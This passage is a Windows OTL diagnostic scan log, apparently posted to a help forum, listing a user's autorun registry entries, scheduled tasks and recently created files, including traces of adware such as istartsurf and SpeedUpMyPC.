O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\System32\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: VMApplet - (SystemPropertiesPerformance.exe) - C:\Windows\System32\SystemPropertiesPerformance.exe (Microsoft Corporation)
O20 - Winlogon\Notify\igfxcui: DllName - (igfxdev.dll) - C:\Windows\System32\igfxdev.dll (Intel Corporation)
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O28 - HKLM ShellExecuteHooks: {B5A7F190-DDA6-4420-B3BA-52453494E6CD} - C:\Program Files\Microsoft Office\Office14\GROOVEEX.DLL (Microsoft Corporation)
O29 - HKLM SecurityProviders - (credssp.dll) - C:\Windows\System32\credssp.dll (Microsoft Corporation)
O30 - LSA: Authentication Packages - (msv1_0) - C:\Windows\System32\msv1_0.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (kerberos) - C:\Windows\System32\kerberos.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (msv1_0) - C:\Windows\System32\msv1_0.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (schannel) - C:\Windows\System32\schannel.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (wdigest) - C:\Windows\System32\wdigest.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (tspkg) - C:\Windows\System32\tspkg.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (pku2u) - C:\Windows\System32\pku2u.dll (Microsoft Corporation)
O31 - SafeBoot: AlternateShell - cmd.exe
O32 - HKLM CDRom: AutoRun - 1
O32 - AutoRun File - [2009/06/10 21:42:20 | 000,000,024 | ---- | M] () - C:\autoexec.bat -- [ NTFS ]
O32 - AutoRun File - [2013/10/20 15:48:21 | 000,000,000 | -H-D | M] - C:\AUTORUN.INF -- [ NTFS ]
O32 - AutoRun File - [2013/10/20 15:48:21 | 000,000,000 | -H-D | M] - F:\AUTORUN.INF -- [ NTFS ]
O32 - AutoRun File - [2013/10/20 15:48:21 | 000,000,000 | -H-D | M] - G:\AUTORUN.INF -- [ NTFS ]
O32 - AutoRun File - [2013/10/20 15:48:21 | 000,000,000 | -H-D | M] - H:\AUTORUN.INF -- [ NTFS ]
O32 - AutoRun File - [2013/10/20 16:05:05 | 000,000,000 | -H-D | M] - Y:\AUTORUN.INF -- [ NTFS ]
O32 - AutoRun File - [2013/10/21 19:33:55 | 000,000,000 | -H-D | M] - Z:\AUTORUN.INF -- [ NTFS ]
O33 - MountPoints2\{38bf66f2-6127-11e4-816f-00271340d1bd}\Shell - "" = AutoRun
O33 - MountPoints2\{38bf66f2-6127-11e4-816f-00271340d1bd}\Shell\AutoRun\command - "" = E:\EMP_UDSe.exe /autorun
O33 - MountPoints2\{3b91cee2-52ac-11e2-83e9-95fc08b19532}\Shell - "" = AutoRun
O33 - MountPoints2\{3b91cee2-52ac-11e2-83e9-95fc08b19532}\Shell\AutoRun\command - "" = E:\AutoRun.exe
O33 - MountPoints2\{52406ca7-5c46-11e2-ba81-8313e7a8a32c}\Shell - "" = AutoRun
O33 - MountPoints2\{52406ca7-5c46-11e2-ba81-8313e7a8a32c}\Shell\AutoRun\command - "" = E:\AutoRun.exe
O33 - MountPoints2\{65078ff2-3fab-11e2-9970-806e6f6e6963}\Shell - "" = AutoRun
O33 - MountPoints2\{65078ff2-3fab-11e2-9970-806e6f6e6963}\Shell\AutoRun\command - "" = E:\AutoRun.exe
O33 - MountPoints2\{8fc2a08f-2c43-11e2-9be0-00271340d1bd}\Shell - "" = AutoRun
O33 - MountPoints2\{8fc2a08f-2c43-11e2-9be0-00271340d1bd}\Shell\AutoRun\command - "" = E:\AutoRun.exe
O33 - MountPoints2\{d156d3bd-53a6-11e3-b25f-d8a147ac290e}\Shell - "" = AutoRun
O33 - MountPoints2\{d156d3bd-53a6-11e3-b25f-d8a147ac290e}\Shell\AutoRun\command - "" = E:\Setup.exe
O33 - MountPoints2\{d59ae6e3-2c29-11e2-81d8-00271340d1bd}\Shell - "" = AutoRun
O33 - MountPoints2\{d59ae6e3-2c29-11e2-81d8-00271340d1bd}\Shell\AutoRun\command - "" = E:\AutoRun.exe
O33 - MountPoints2\{ee4e36d1-5284-11e2-839d-d64628d65d2e}\Shell - "" = AutoRun
O33 - MountPoints2\{ee4e36d1-5284-11e2-839d-d64628d65d2e}\Shell\AutoRun\command - "" = E:\AutoRun.exe
O33 - MountPoints2\{ee4e36dd-5284-11e2-839d-d64628d65d2e}\Shell - "" = AutoRun
O33 - MountPoints2\{ee4e36dd-5284-11e2-839d-d64628d65d2e}\Shell\AutoRun\command - "" = E:\AutoRun.exe
O33 - MountPoints2\E\Shell - "" = AutoRun
O33 - MountPoints2\E\Shell\AutoRun\command - "" = E:\EMP_UDSe.exe /autorun
O34 - HKLM BootExecute: (autocheck autochk *)
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)

[color=#E56717]========== Files/Folders - Created Within 60 Days ==========[/color]

[2015/11/29 17:54:25 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\.pdfsam
[2015/11/29 17:47:03 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\Desktop\dec
[2015/11/29 17:45:07 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PDF Split And Merge
[2015/11/29 17:45:03 | 000,000,000 | ---D | C] -- C:\Program Files\pdfsam
[2015/11/29 16:48:49 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Free PDF to Word Doc Converter
[2015/11/29 16:48:40 | 000,000,000 | ---D | C] -- C:\Program Files\Free PDF to Word Doc Converter
[2015/11/27 14:05:23 | 000,000,000 | ---D | C] -- C:\ProgramData\eWMiniProe
[2015/11/23 22:29:43 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\Desktop\javascript
[2015/11/23 20:00:31 | 000,000,000 | ---D | C] -- C:\Intel
[2015/11/11 13:45:42 | 000,000,000 | ---D | C] -- C:\Program Files\SFK
[2015/11/11 00:38:53 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Local\Microsoft_Corporation
[2015/11/10 23:33:34 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\Documents\Visual Studio 2005
[2015/11/10 22:38:00 | 000,047,456 | ---- | C] (Microsoft Corporation) -- C:\Windows\System32\perf-MSSQL10_50.MSSQLSERVER-sqlagtctr.dll
[2015/11/10 22:37:43 | 000,073,568 | ---- | C] (Microsoft Corporation) -- C:\Windows\System32\perf-MSSQLSERVER-sqlctr10.50.1600.1.dll
[2015/11/10 22:37:07 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\Documents\Integration Services Script Component
[2015/11/10 22:36:03 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\Documents\Integration Services Script Task
[2015/11/10 22:35:38 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\Documents\SQL Server Management Studio
[2015/11/10 22:34:58 | 000,000,000 | ---D | C] -- C:\Windows\System32\RsFx
[2015/11/10 22:31:02 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft SQL Server 2008
[2015/11/10 22:30:18 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\Documents\Visual Studio 2008
[2015/11/10 22:28:40 | 000,000,000 | ---D | C] -- C:\Program Files\Microsoft SDKs
[2015/11/10 22:28:38 | 000,000,000 | ---D | C] -- C:\Program Files\Microsoft Visual Studio 9.0
[2015/11/10 22:27:57 | 000,000,000 | ---D | C] -- C:\Windows\System32\1033
[2015/11/10 22:16:15 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft SQL Server 2008 R2
[2015/11/10 22:12:44 | 000,000,000 | ---D | C] -- C:\Program Files\Microsoft SQL Server
[2015/11/08 18:45:55 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\Desktop\emploi
[2015/11/04 20:04:54 | 000,956,576 | ---- | C] (Internet App Program ) -- C:\Users\abdelilah\Desktop\setup2.exe
[2015/10/29 18:41:04 | 000,000,000 | ---D | C] -- C:\ProgramData\Sun
[2015/10/29 18:40:58 | 000,000,000 | ---D | C] -- C:\Program Files\Common Files\Java
[2015/10/29 18:38:43 | 000,096,680 | ---- | C] (Oracle Corporation) -- C:\Windows\System32\WindowsAccessBridge.dll
[2015/10/29 18:38:23 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java
[2015/10/29 18:37:30 | 000,000,000 | ---D | C] -- C:\ProgramData\Oracle
[2015/10/29 18:36:46 | 000,000,000 | ---D | C] -- C:\Program Files\Java
[2015/10/24 15:18:18 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Local\Opera Software
[2015/10/24 15:18:17 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Roaming\Opera Software
[2015/10/24 15:15:16 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\REACHit
[2015/10/24 15:15:16 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Local\Lenovo
[2015/10/24 15:14:48 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Lenovo
[2015/10/24 15:14:36 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Roaming\Shortcut
[2015/10/24 15:14:14 | 000,000,000 | ---D | C] -- C:\ProgramData\Package Cache
[2015/10/24 15:13:22 | 000,000,000 | ---D | C] -- C:\Program Files\Lenovo
[2015/10/24 15:13:15 | 000,000,000 | ---D | C] -- C:\Windows\Downloaded Installations
[2015/10/24 15:11:25 | 000,000,000 | ---D | C] -- C:\ProgramData\HWdsManProH
[2015/10/24 15:11:12 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Roaming\istartsurf
[2015/10/24 15:11:08 | 000,000,000 | ---D | C] -- C:\Program Files\Opera
[2015/10/24 15:09:47 | 000,929,240 | ---- | C] (Generic Internet ) -- C:\Users\abdelilah\Desktop\setup.exe
[2015/10/09 17:33:41 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Roaming\TSv
[2015/10/07 13:44:49 | 000,000,000 | ---D | C] -- C:\Program Files\paint.net
[2015/10/07 13:44:15 | 000,000,000 | ---D | C] -- C:\Users\abdelilah\AppData\Local\paint.net
[2015/10/07 12:49:22 | 000,000,000 | ---D | C] -- C:\Windows\Migration
[2 C:\Users\abdelilah\Desktop\*.tmp files -> C:\Users\abdelilah\Desktop\*.tmp -> ]

[color=#E56717]========== Files - Modified Within 60 Days ==========[/color]

[2015/12/02 17:54:00 | 000,000,274 | ---- | M] () -- C:\Windows\tasks\SpeedUpMyPC Maintenance.job
[2015/12/02 17:51:01 | 000,001,002 | ---- | M] () -- C:\Windows\tasks\Adobe Flash Player Updater.job
[2015/12/02 17:34:02 | 000,001,058 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2015/12/02 17:14:05 | 000,001,390 | ---- | M] () -- C:\Windows\tasks\9674926c-0541-4403-84ac-064f9c800a78-5.job
[2015/12/02 17:13:00 | 000,001,432 | ---- | M] () -- C:\Windows\tasks\9674926c-0541-4403-84ac-064f9c800a78-1.job
[2015/12/02 17:13:00 | 000,001,302 | ---- | M] () -- C:\Windows\tasks\9674926c-0541-4403-84ac-064f9c800a78-2.job
[2015/12/02 17:12:05 | 000,003,440 | ---- | M] () -- C:\Windows\tasks\9674926c-0541-4403-84ac-064f9c800a78-11.job
[2015/12/02 17:12:05 | 000,002,136 | ---- | M] () -- C:\Windows\tasks\9674926c-0541-4403-84ac-064f9c800a78-4.job
[2015/12/02 16:32:27 | 000,017,168 | -H-- | M] () -- C:\Windows\System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
[2015/12/02 16:32:27 | 000,017,168 | -H-- | M] () -- C:\Windows\System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
[2015/12/02 16:31:53 | 000,001,054 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2015/12/02 16:29:04 | 000,003,806 | ---- | M] () -- C:\Windows\tasks\38f4173b-bd64-4157-b942-b71f2693e2a7-11.job
[2015/12/02 16:29:04 | 000,002,218 | ---- | M] () -- C:\Windows\tasks\38f4173b-bd64-4157-b942-b71f2693e2a7-4.job
[2015/12/02 16:29:02 | 000,000,001 | ---- | M] () -- C:\Windows\System32\fr.html
[2015/12/02 16:28:57 | 000,000,274 | ---- | M] () -- C:\Windows\tasks\SpeedUpMyPC Startup.job
[2015/12/02 16:28:56 | 000,001,564 | ---- | M] () -- C:\Windows\tasks\38f4173b-bd64-4157-b942-b71f2693e2a7-1.job
[2015/12/02 16:28:56 | 000,001,486 | ---- | M] () -- C:\Windows\tasks\38f4173b-bd64-4157-b942-b71f2693e2a7-5.job
[2015/12/02 16:28:56 | 000,001,406 | ---- | M] () -- C:\Windows\tasks\38f4173b-bd64-4157-b942-b71f2693e2a7-2.job
[2015/12/02 16:28:56 | 000,000,436 | -H-- | M] () -- C:\Windows\tasks\WS.Enabler-S-71009536.job
[2015/12/02 16:26:44 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat
[2015/12/02 16:26:40 | 1603,772,416 | -HS- | M] () -- C:\hiberfil.sys
[2015/12/02 10:58:24 | 000,000,052 | ---- | M] () -- C:\Windows\System32\ashttpstats.csv
[2015/12/02 10:17:04 | 000,471,914 | ---- | M] () -- C:\Windows\System32\perfh00C.dat
[2015/12/02 10:17:04 | 000,403,448 | ---- | M] () -- C:\Windows\System32\perfh009.dat
[2015/12/02 10:17:04 | 000,088,908 | ---- | M] () -- C:\Windows\System32\perfc00C.dat
[2015/12/02 10:17:04 | 000,077,862 | ---- | M] () -- C:\Windows\System32\perfc009.dat
[2015/12/02 10:06:05 | 000,000,944 | ---- | M] () -- C:\Windows\tasks\FacebookUpdateTaskUserS-1-5-21-2676332904-3815248177-1227062558-1000UA.job
[2015/12/01 16:06:01 | 000,000,922 | ---- | M] () -- C:\Windows\tasks\FacebookUpdateTaskUserS-1-5-21-2676332904-3815248177-1227062558-1000Core.job
[2015/11/29 16:48:50 | 000,000,987 | ---- | M] () -- C:\Users\abdelilah\Desktop\Free PDF to Word Doc Converter.lnk
[2015/11/27 14:05:23 | 000,000,098 | ---- | M] () -- C:\ProgramData\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.dat
[2015/11/24 19:03:33 | 000,237,699 | ---- | M] () -- C:\Users\abdelilah\Desktop\HOUCIMA_SAFAR_1437.pdf
[2015/11/24 12:42:26 | 000,000,738 | RHS- | M] () -- C:\ProgramData\ntuser.pol
[2015/11/17 20:46:10 | 000,832,560 | ---- | M] () -- C:\Users\abdelilah\Desktop\note masar.pdf
[2015/11/17 20:23:01 | 002,116,000 | ---- | M] () -- C:\Users\abdelilah\Desktop\concours.pdf
[2015/11/11 13:42:10 | 000,002,104 | ---- | M] () -- C:\Users\abdelilah\Desktop\Facebook.lnk
[2015/11/10 21:51:29 | 000,780,488 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\System32\FlashPlayerApp.exe
[2015/11/10 21:51:29 | 000,142,536 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\System32\FlashPlayerCPLApp.cpl
[2015/11/04 20:04:54 | 000,956,576 | ---- | M] (Internet App Program ) -- C:\Users\abdelilah\Desktop\setup2.exe
[2015/11/03 21:00:53 | 000,068,799 | ---- | M] () -- C:\Users\abdelilah\Desktop\carte mere.png
[2015/11/03 20:27:44 | 001,599,369 | ---- | M] () -- C:\Users\abdelilah\Desktop\Expose_2_CSEFRS.pdf
[2015/11/03 16:18:47 | 002,922,546 | ---- | M] () -- C:\Users\abdelilah\Desktop\note110151029.pdf
[2015/11/03 16:04:25 | 002,781,741 | ---- | M] () -- C:\Users\abdelilah\Desktop\N112151103.pdf
[2015/10/29 18:38:09 | 000,096,680 | ---- | M] (Oracle Corporation) -- C:\Windows\System32\WindowsAccessBridge.dll
[2015/10/28 18:46:00 | 000,312,688 | ---- | M] () -- C:\Users\abdelilah\Desktop\cfie2015rslt-finalEduIslam.pdf
[2015/10/28 18:38:57 | 000,253,381 | ---- | M] () -- C:\Users\abdelilah\Desktop\modakira tar9iya.pdf
[2015/10/26 20:43:20 | 000,253,381 | ---- | M] () -- C:\Users\abdelilah\Desktop\modakira.pdf
[2015/10/24 15:11:04 | 000,002,491 | ---- | M] () -- C:\Users\abdelilah\Application Data\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
[2015/10/24 15:09:48 | 000,929,240 | ---- | M] (Generic Internet ) -- C:\Users\abdelilah\Desktop\setup.exe
[2015/10/15 22:13:42 | 015,910,236 | ---- | M] () -- C:\Users\abdelilah\Desktop\IMG_2042.mp4
[2015/10/15 21:55:01 | 001,561,954 | ---- | M] () -- C:\Users\abdelilah\Desktop\IMG_2041.mp4
[2015/10/15 21:19:50 | 010,447,796 | ---- | M] () -- C:\Users\abdelilah\Desktop\IMG_2040.mp4
[2015/10/07 12:33:40 | 000,001,052 | ---- | M] () -- C:\Users\abdelilah\Application Data\Microsoft\Internet Explorer\Quick Launch\Picasa 3.lnk
[2015/10/07 12:26:36 | 000,220,168 | ---- | M] () -- C:\Users\abdelilah\Desktop\youssra.jpg
[2 C:\Users\abdelilah\Desktop\*.tmp files -> C:\Users\abdelilah\Desktop\*.tmp -> ]

[color=#E56717]========== Files Created - No Company Name ==========[/color]

[2015/12/02 16:28:59 | 000,000,001 | ---- | C] () -- C:\Windows\System32\fr.html
[2015/11/29 16:48:50 | 000,000,987 | ---- | C] () -- C:\Users\abdelilah\Desktop\Free PDF to Word Doc Converter.lnk
[2015/11/24 19:03:25 | 000,237,699 | ---- | C] () -- C:\Users\abdelilah\Desktop\HOUCIMA_SAFAR_1437.pdf
[2015/11/19 22:31:03 | 000,832,560 | ---- | C] () -- C:\Users\abdelilah\Desktop\note masar.pdf
[2015/11/19 22:31:02 | 002,116,000 | ---- | C] () -- C:\Users\abdelilah\Desktop\concours.pdf
[2015/11/03 21:00:52 | 000,068,799 | ---- | C] () -- C:\Users\abdelilah\Desktop\carte mere.png
[2015/11/03 20:27:40 | 001,599,369 | ---- | C] () -- C:\Users\abdelilah\Desktop\Expose_2_CSEFRS.pdf
[2015/11/03 16:18:47 | 002,922,546 | ---- | C] () -- C:\Users\abdelilah\Desktop\note110151029.pdf
[2015/11/03 16:04:13 | 002,781,741 | ---- | C] () -- C:\Users\abdelilah\Desktop\N112151103.pdf
[2015/10/28 18:45:58 | 000,312,688 | ---- | C] () -- C:\Users\abdelilah\Desktop\cfie2015rslt-finalEduIslam.pdf
[2015/10/28 18:38:43 | 000,253,381 | ---- | C] () -- C:\Users\abdelilah\Desktop\modakira tar9iya.pdf
[2015/10/26 20:43:16 | 000,253,381 | ---- | C] () -- C:\Users\abdelilah\Desktop\modakira.pdf
[2015/10/24 15:14:36 | 000,002,104 | ---- | C] () -- C:\Users\abdelilah\Desktop\Facebook.lnk
[2015/10/24 15:11:25 | 000,000,098 | ---- | C] () -- C:\ProgramData\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.dat
[2015/10/15 21:14:46 | 001,561,954 | ---- | C] () -- C:\Users\abdelilah\Desktop\IMG_2041.mp4
[2015/10/15 21:14:36 | 015,910,236 | ---- | C] () -- C:\Users\abdelilah\Desktop\IMG_2042.mp4
[2015/10/15 20:32:40 | 010,447,796 | ---- | C] () -- C:\Users\abdelilah\Desktop\IMG_2040.mp4
[2015/10/07 12:33:40 | 000,001,052 | ---- | C] () -- C:\Users\abdelilah\Application Data\Microsoft\Internet Explorer\Quick Launch\Picasa 3.lnk
[2015/10/07 12:27:09 | 000,220,168 | ---- | C] () -- C:\Users\abdelilah\Desktop\youssra.jpg
[2015/02/10 15:08:32 | 000,080,896 | ---- | C] () -- C:\Windows\System32\RDVGHelper.exe
[2015/02/10 15:07:21 | 000,066,048 | ---- | C] () -- C:\Windows\System32\PrintBrmUi.exe
[2014/12/08 17:43:43 | 000,014,848 | ---- | C] () -- C:\Windows\System32\BASSMOD.dll
[2014/12/04 01:14:17 | 000,216,064 | ---- | C] ( ) -- C:\Windows\System32\lagarith.dll
[2014/12/04 01:14:16 | 000,655,872 | ---- | C] () -- C:\Windows\System32\xvidcore.dll
[2014/12/04 01:14:16 | 000,240,128 | ---- | C] () -- C:\Windows\System32\xvidvfw.dll
[2014/12/04 01:14:14 | 000,218,712 | ---- | C] () -- C:\Windows\System32\unrar.dll
[2014/12/04 01:14:11 | 000,112,640 | ---- | C] () -- C:\Windows\System32\ff_vfw.dll
[2014/11/23 12:24:52 | 000,000,218 | ---- | C] () -- C:\Users\abdelilah\.recently-used.xbel
[2014/11/22 22:49:59 | 001,176,696 | ---- | C] () -- C:\Users\abdelilah\AppData\Roaming\AndyCleanVM.exe
[2014/04/06 15:10:56 | 000,003,584 | ---- | C] () -- C:\Users\abdelilah\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2014/02/02 18:52:48 | 000,000,738 | RHS- | C] () -- C:\ProgramData\ntuser.pol
[2013/12/14 19:30:45 | 000,000,255 | ---- | C] () -- C:\Windows\System32\ao32016.dll
[2013/02/16 01:20:09 | 000,000,099 | ---- | C] () -- C:\ProgramData\Microsoft.SqlServer.Compact.351.32.bc
[2013/01/24 20:23:22 | 000,034,815 | ---- | C] () -- C:\Program Files\Common Files\plugin.crx
[2013/01/13 18:01:25 | 000,000,911 | ---- | C] () -- C:\Users\abdelilah\Downloads.pem
[2012/11/16 11:46:01 | 000,000,025 | ---- | C] () -- C:\Users\abdelilah\AppData\Roaming\bdfvconp.ini

[color=#E56717]========== ZeroAccess Check ==========[/color]

[2009/07/14 04:42:31 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini

[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]

[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2014/06/25 01:41:30 | 012,874,240 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2010/11/20 12:19:02 | 000,606,208 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
"" = %systemroot%\system32\wbem\wbemess.dll -- [2009/07/14 01:16:17 | 000,342,528 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both

[color=#E56717]========== LOP Check ==========[/color]

[2012/11/11 18:05:04 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\BitDefender
[2014/12/18 17:52:32 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\DMCache
[2013/08/06 18:53:46 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\eIntaller
[2013/09/28 13:58:14 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\EleFun Games
[2014/12/15 21:29:23 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\ElephormDVDPlayer
[2014/12/15 21:29:14 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\ElephormDVDPlayer.8FC2E10752433BF8182FC825ABC2922D2AC381F8.1
[2015/06/18 18:24:12 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\Elex-tech
[2013/04/15 23:58:34 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\FolderColorize
[2014/11/23 12:04:29 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\gtk-2.0
[2014/12/19 20:59:46 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\IDM
[2013/09/02 15:40:38 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\IObit
[2014/11/22 23:21:52 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\IsolatedStorage
[2015/11/23 20:03:54 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\istartsurf
[2014/12/15 19:16:35 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\MPC-HC
[2015/11/03 15:48:26 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\Opera Software
[2014/06/07 13:06:35 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\PerformerSoft
[2013/06/11 13:39:33 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\PHP Designer 2007
[2015/10/24 15:14:36 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\Shortcut
[2014/06/14 14:53:44 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\SimpleTV V03
[2012/12/12 15:20:46 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\StatusWinks
[2014/11/23 19:38:35 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\sweet-page
[2014/03/06 17:48:41 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\TelTel
[2015/11/27 14:05:20 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\TSv
[2014/11/26 14:23:28 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\VoipConnect
[2013/02/16 01:20:20 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\WebPlayerBdd
[2015/06/22 17:39:16 | 000,000,000 | ---D | M] -- C:\Users\abdelilah\AppData\Roaming\WinZipper

[color=#E56717]========== Purity Check ==========[/color]



[color=#E56717]========== Files - Unicode (All) ==========[/color]
[2015/11/30 13:27:07 | 000,033,280 | -HS- | C] ()(C:\Users\abdelilah\Desktop\??? ??? 1 . 2015..doc) -- C:\Users\abdelilah\Desktop\A16 1BE 1 . 2015..doc
[2015/05/14 12:15:22 | 000,033,280 | -HS- | M] ()(C:\Users\abdelilah\Desktop\??? ??? 1 . 2015..doc) -- C:\Users\abdelilah\Desktop\A16 1BE 1 . 2015..doc

< End of report >

Publicité

Signaler le contenu de ce document

Publicité